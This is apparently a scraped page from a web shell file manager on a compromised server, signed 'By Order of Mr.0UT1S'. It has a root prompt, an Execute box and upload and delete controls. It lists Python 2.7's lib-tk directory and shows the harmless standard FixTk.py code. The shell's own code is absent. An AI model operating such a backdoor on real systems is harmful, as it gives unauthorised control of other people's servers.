lib64
/
python2.7
/
lib-tk
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] test
N/A
Canvas.py
7.29 KB
Rename
Delete
Canvas.pyc
15.20 KB
Rename
Delete
Canvas.pyo
15.20 KB
Rename
Delete
Dialog.py
1.53 KB
Rename
Delete
Dialog.pyc
1.88 KB
Rename
Delete
Dialog.pyo
1.88 KB
Rename
Delete
FileDialog.py
8.62 KB
Rename
Delete
FileDialog.pyc
9.49 KB
Rename
Delete
FileDialog.pyo
9.49 KB
Rename
Delete
FixTk.py
2.95 KB
Rename
Delete
FixTk.pyc
2.04 KB
Rename
Delete
FixTk.pyo
1.98 KB
Rename
Delete
ScrolledText.py
1.79 KB
Rename
Delete
ScrolledText.pyc
2.60 KB
Rename
Delete
ScrolledText.pyo
2.60 KB
Rename
Delete
SimpleDialog.py
3.64 KB
Rename
Delete
SimpleDialog.pyc
4.24 KB
Rename
Delete
SimpleDialog.pyo
4.24 KB
Rename
Delete
Tix.py
75.41 KB
Rename
Delete
Tix.pyc
93.84 KB
Rename
Delete
Tix.pyo
93.84 KB
Rename
Delete
Tkconstants.py
1.46 KB
Rename
Delete
Tkconstants.pyc
2.19 KB
Rename
Delete
Tkconstants.pyo
2.19 KB
Rename
Delete
Tkdnd.py
11.22 KB
Rename
Delete
Tkdnd.pyc
12.52 KB
Rename
Delete
Tkdnd.pyo
12.52 KB
Rename
Delete
Tkinter.py
156.85 KB
Rename
Delete
Tkinter.pyc
195.50 KB
Rename
Delete
Tkinter.pyo
195.50 KB
Rename
Delete
tkColorChooser.py
1.74 KB
Rename
Delete
tkColorChooser.pyc
1.39 KB
Rename
Delete
tkColorChooser.pyo
1.39 KB
Rename
Delete
tkCommonDialog.py
1.38 KB
Rename
Delete
tkCommonDialog.pyc
1.48 KB
Rename
Delete
tkCommonDialog.pyo
1.48 KB
Rename
Delete
tkFileDialog.py
5.59 KB
Rename
Delete
tkFileDialog.pyc
5.04 KB
Rename
Delete
tkFileDialog.pyo
5.04 KB
Rename
Delete
tkFont.py
6.02 KB
Rename
Delete
tkFont.pyc
7.00 KB
Rename
Delete
tkFont.pyo
7.00 KB
Rename
Delete
tkMessageBox.py
3.60 KB
Rename
Delete
tkMessageBox.pyc
3.80 KB
Rename
Delete
tkMessageBox.pyo
3.80 KB
Rename
Delete
tkSimpleDialog.py
7.54 KB
Rename
Delete
tkSimpleDialog.pyc
8.90 KB
Rename
Delete
tkSimpleDialog.pyo
8.90 KB
Rename
Delete
ttk.py
54.86 KB
Rename
Delete
ttk.pyc
61.16 KB
Rename
Delete
ttk.pyo
61.16 KB
Rename
Delete
turtle.py
135.78 KB
Rename
Delete
turtle.pyc
136.31 KB
Rename
Delete
turtle.pyo
136.31 KB
Rename
Delete
import sys, os # Delay import _tkinter until we have set TCL_LIBRARY, # so that Tcl_FindExecutable has a chance to locate its # encoding directory. # Unfortunately, we cannot know the TCL_LIBRARY directory # if we don't know the tcl version, which we cannot find out # without import Tcl. Fortunately, Tcl will itself look in # <TCL_LIBRARY>\..\tcl<TCL_VERSION>, so anything close to # the real Tcl library will do. # Expand symbolic links on Vista try: import ctypes ctypes.windll.kernel32.GetFinalPathNameByHandleW except (ImportError, AttributeError): def convert_path(s): return s else: def convert_path(s): assert isinstance(s, str) # sys.prefix contains only bytes udir = s.decode("mbcs") hdir = ctypes.windll.kernel32.\ CreateFileW(udir, 0x80, # FILE_READ_ATTRIBUTES 1, # FILE_SHARE_READ None, 3, # OPEN_EXISTING 0x02000000, # FILE_FLAG_BACKUP_SEMANTICS None) if hdir == -1: # Cannot open directory, give up return s buf = ctypes.create_unicode_buffer(u"", 32768) res = ctypes.windll.kernel32.\ GetFinalPathNameByHandleW(hdir, buf, len(buf), 0) # VOLUME_NAME_DOS ctypes.windll.kernel32.CloseHandle(hdir) if res == 0: # Conversion failed (e.g. network location) return s s = buf[:res].encode("mbcs") # Ignore leading \\?\ if s.startswith("\\\\?\\"): s = s[4:] if s.startswith("UNC"): s = "\\" + s[3:] return s prefix = os.path.join(sys.prefix,"tcl") if not os.path.exists(prefix): # devdir/externals/tcltk/lib tcltk = 'tcltk' if sys.maxsize > 2**31 - 1: tcltk = 'tcltk64' prefix = os.path.join(sys.prefix, "externals", tcltk, "lib") prefix = os.path.abspath(prefix) # if this does not exist, no further search is needed if os.path.exists(prefix): prefix = convert_path(prefix) if "TCL_LIBRARY" not in os.environ: for name in os.listdir(prefix): if name.startswith("tcl"): tcldir = os.path.join(prefix,name) if os.path.isdir(tcldir): os.environ["TCL_LIBRARY"] = tcldir # Compute TK_LIBRARY, knowing that it has the same version # as Tcl import _tkinter ver = str(_tkinter.TCL_VERSION) if "TK_LIBRARY" not in os.environ: v = os.path.join(prefix, 'tk'+ver) if os.path.exists(os.path.join(v, "tclIndex")): os.environ['TK_LIBRARY'] = v # We don't know the Tix version, so we must search the entire # directory if "TIX_LIBRARY" not in os.environ: for name in os.listdir(prefix): if name.startswith("tix"): tixdir = os.path.join(prefix,name) if os.path.isdir(tixdir): os.environ["TIX_LIBRARY"] = tixdir
Save